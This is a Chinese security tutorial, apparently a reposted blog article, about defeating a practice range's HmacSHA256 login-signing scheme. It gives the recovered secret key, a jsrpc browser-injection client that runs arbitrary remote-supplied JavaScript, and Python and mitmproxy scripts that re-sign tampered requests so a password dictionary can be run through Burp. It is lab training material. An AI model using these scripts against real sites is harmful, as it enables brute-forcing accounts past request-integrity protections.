【js逆向】明文加签自动加解密"

admin 2026-10-17 06:22:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【js逆向】 明文加签自动加解密

原创

暗月大徒弟
暗月大徒弟

moonsec

2026年8月26日 09:00
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

访问靶场   选择明文加签

查看网络连接

signature 是验签 字符串 用于防篡改

分析 signature 的加密过程

dataToSign 是账号、密码、随机值、当前时间 拼接   接着通过 HmacSHA256进行编码

const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)

转换转为hex

重新封包

timestamp password可以变  其他不变 最后通过 CryptoJS.HmacSHA256(dataToSign, secretKey)生成签名即可。

使用jsrpc 在浏览器控制台上 黏贴JsEnv\_Dev.js代码

var rpc_client_id, HlClient = function (wsURL) {
    this.wsURL = wsURL;
    this.handlers = {
        _execjs: function (resolve, param) {
            try {
                var fn = new Function('return (async () => { return (' + param + ') })()');
                var result = fn();
                if (result && typeof result.then === 'function') {
                    result.then(function(res) {
                        resolve(res !== undefined ? res : \"执行成功(无返回值)\");
                    }).catch(function(err) {
                        resolve(\"执行错误: \" + (err.message || err));
                    });
                } else {
                    resolve(result !== undefined ? result : \"执行成功(无返回值)\");
                }
            } catch (err) {
                resolve(\"语法错误: \" + (err.message || err));
            }
        }
    };
    this.socket = undefined;
    if (!wsURL) {
        throw new Error('wsURL can not be empty!!')
    }
    this.connect()
}
HlClient.prototype.connect = function () {
    if (this.wsURL.indexOf(\"clientId=\") === -1 && rpc_client_id) {
        this.wsURL += \"&clientId=\" + rpc_client_id
    }
    console.log('begin of connect to wsURL: ' + this.wsURL);
    var _this = this;
    try {
        this.socket = new WebSocket(this.wsURL);
        this.socket.onmessage = function (e) {
            _this.handlerRequest(e.data)
        }
    } catch (e) {
        console.log(\"connection failed,reconnect after 10s\");
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.onclose = function () {
        console.log('rpc已关闭');
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.addEventListener('open', (event) => {
        console.log(\"rpc连接成功\");
        this._reportActions();
    });
    this.socket.addEventListener('error', (event) => {
        console.error('rpc连接出错,请检查是否打开服务端:', event.error);
    })
};
HlClient.prototype.send = function (msg) {
    this.socket.send(msg)
}
HlClient.prototype.regAction = function (func_name, func) {
    if (typeof func_name !== 'string') {
        throw new Error(\"an func_name must be string\");
    }
    if (typeof func !== 'function') {
        throw new Error(\"must be function\");
    }
    console.log(\"register func_name: \" + func_name);
    this.handlers[func_name] = func;
    this._reportActions();
    return true
}
HlClient.prototype._reportActions = function () {
    var actions = Object.keys(this.handlers);
    if (this.socket && this.socket.readyState === WebSocket.OPEN) {
        this.send(JSON.stringify({
            \"action\": \"_registerActions\",
            \"message_id\": \"\",
            \"response_data\": JSON.stringify(actions)
        }));
    }
}
HlClient.prototype.handlerRequest = function (requestJson) {
    var _this = this;
    try {
        var result = JSON.parse(requestJson)
    } catch (error) {
        console.log(\"请求信息解析错误\", requestJson);
        return
    }
    if (result[\"registerId\"]) {
        rpc_client_id = result['registerId']
        return
    }
    if (!result['action'] || !result[\"message_id\"]) {
        console.warn('没有方法或者消息id,不处理');
        return
    }
    var action = result[\"action\"], message_id = result[\"message_id\"]
    var theHandler = this.handlers[action];
    if (!theHandler) {
        this.sendResult(action, message_id, 'action没找到');
        return
    }
    try {
        if (!result[\"param\"]) {
            const async_result = theHandler(function (response) {
                _this.sendResult(action, message_id, response);
            })
            if (async_result && typeof async_result.then === \"function\") {
                async_result.catch(e => {
                    _this.sendResult(action, message_id, \"\" + e);
                });
            }
            return
        }
        var param = result[\"param\"]
        try {
            param = JSON.parse(param)
        } catch (e) {
        }
        theHandler(function (response) {
            _this.sendResult(action, message_id, response);
        }, param)
    } catch (e) {
        console.log(\"error: \" + e);
        _this.sendResult(action, message_id, \"\" + e);
    }
}
HlClient.prototype.sendResult = function (action, message_id, e) {
    if (typeof e === 'object' && e !== null) {
        try {
            e = JSON.stringify(e)
        } catch (v) {
            console.log(v)
        }
    }
    this.send(JSON.stringify({\"action\": action, \"message_id\": message_id, \"response_data\": e}));
}

打开终端

注入环境

var demo = new HlClient(\"ws://127.0.0.1:12080/ws?group=zzz\");

注册函数

demo.regAction(\"sgin\", function (resolve,param) {
    const username = 'admin'
\tconst password = param

\tconst nonce = 'zqqz5xi8zfi'
\tconst timestamp  = Math.floor(Date.now() / 1000);

\tconst secretKey = \"be56e057f20f883e\";

\tconst dataToSign = username + password + nonce + timestamp;
\tconst signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
\t\t.toString(CryptoJS.enc.Hex);

        resolve({
        signature: signature,
        timestamp: timestamp
    });
})

成功注册函数

编写python脚本进行调用

import requests,json
def sgin(password):
    url = \"http://127.0.0.1:12080/go\"
    params = {
        \"group\": \"zzz\",
        \"action\": \"sgin\",
        \"param\": password
    }
    resp = requests.get(url, params=params, timeout=5)
    resp_json = resp.json()
    raw_data = resp_json[\"data\"]
    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data

    return data[\"signature\"], data[\"timestamp\"]

print(sgin(\"123456\"))

运行正常

编写 mitmproxy利用脚本

import mitmproxy
import requests
import json
from mitmproxy import ctx

def sgin(password):
    url = \"http://127.0.0.1:12080/go\"
    params = {
        \"group\": \"zzz\",
        \"action\": \"sgin\",
        \"param\": password
    }
    resp = requests.get(url, params=params, timeout=5)
    ctx.log.info(f\"[sgin] http status:{resp.status_code}, resp text:{resp.text}\")
    resp_json = resp.json()
    raw_data = resp_json[\"data\"]
    ctx.log.info(f\"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}\")

    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data

    return data[\"signature\"], data[\"timestamp\"]

class dataencrypt:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        target_path = \"/encrypt/signdata.php\"
        ctx.log.info(f\"[debug] path={flow.request.path}, method={flow.request.method}\")
        real_path = flow.request.path.split('?')[0]
        if flow.request.method == \"POST\" and real_path == target_path:
            ctx.log.info(\"[debug] 命中目标接口!\")
            try:
                ctx.log.info(f\"[debug]原始请求text={flow.request.text}\")
                ctx.log.info(f\"[debug]content-type={flow.request.headers.get('Content-Type','')}\")

                ct = flow.request.headers.get(\"Content-Type\",\"\")
                if \"application/json\" not in ct:
                    ctx.log.error(\"[error]不是json请求!本脚本只处理json\")
                    return

                body_dict = json.loads(flow.request.text)
                pwd = body_dict.get(\"password\")
                ctx.log.info(f\"[debug]取出password={pwd}\")

                new_sig, new_ts = sgin(pwd)
                ctx.log.info(f\"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}\")

                body_dict[\"timestamp\"] = new_ts
                body_dict[\"signature\"] = new_sig
                ctx.log.info(f\"[debug]修改后的dict={body_dict}\")

                flow.request.text = json.dumps(body_dict)
                ctx.log.info(f\"[debug]最终发包body={flow.request.text}\")

            except Exception as e:
                import traceback
                err_msg = traceback.format_exc()
                ctx.log.error(f\"[exception]异常:\
{err_msg}\")

addons = [dataencrypt()]

执行命令

mitmproxy -p 9090 -s mitmproxy_sgin.py

在burpsuite上设置上游代理

执行成功

提交到攻击器 设置字典进行测试

需要本文相关工具

关注公众号回复【20260826】


【js逆向】明文加签自动加解密" 网络安全文章

【js逆向】明文加签自动加解密"

本文演示了JS逆向中明文加签的自动加解密技术,通过分析靶场签名算法,使用HmacSHA256对拼接字符串加密,并利用jsrpc在浏览器注入环境注册函数,最后通过Python脚本和mitmproxy实现自动化调用。核心在于理解签名生成逻辑并借助工具实现自动化。
行业资讯:网络安全项目中标情况汇总(8月26日)" 网络安全文章

行业资讯:网络安全项目中标情况汇总(8月26日)"

汇总8月26日14个网安项目中标价(7.6万至179万元),涉及等保测评、态势感知、安全运维与靶场建设等;并结合上市公司半年报指出行业上半年普遍亏损、业务季节性强,AI安全产品已落地但商业化尚未跑通,下游预算约束与价格战拖累订单转化及毛利率,密码、数据安全与MSS成为共同布局主线,下半年关键在验收转化与现金流修复。
极端气象环境下外军无人机作战适应性与全天候运用能力研究" 网络安全文章

极端气象环境下外军无人机作战适应性与全天候运用能力研究"

本文为蓝军研究所报告的推广广告文,主题是极端气象环境下外军无人机全天候运用能力。其指出冻雨、积冰、强降水、低温高湿会影响无人机气动、动力、电池、通信与传感器效能,列举美MQ-9B结冰认证、欧洲TDRIC项目、俄乌冬季作战实践及土耳其、日韩装备案例,梳理环境试验体系与技术趋势,并建议构建环境模拟、极限测试加实战验证的三位一体评价体系。但正文仅展示目录框架,实质内容需付费联系购买。
认知战与权力逻辑:解读俄罗斯战略信息作战中的进攻现实主义(二)" 网络安全文章

认知战与权力逻辑:解读俄罗斯战略信息作战中的进攻现实主义(二)"

文章以进攻现实主义框架解读俄罗斯认知战的权力逻辑:借2016年美国大选干预、IRA虚假账号与俄语世界叙事以攻代守,放大西方既有裂痕而非凭空制造分裂,2022年战争是该逻辑的延续升级。西方社媒封禁形成平台不对称致俄失利,但民主国家的反制也侵蚀言论自由,构成民主悖论;缺失国际监管的数字空间武器化是长期脆弱性。
评论:0   参与:  0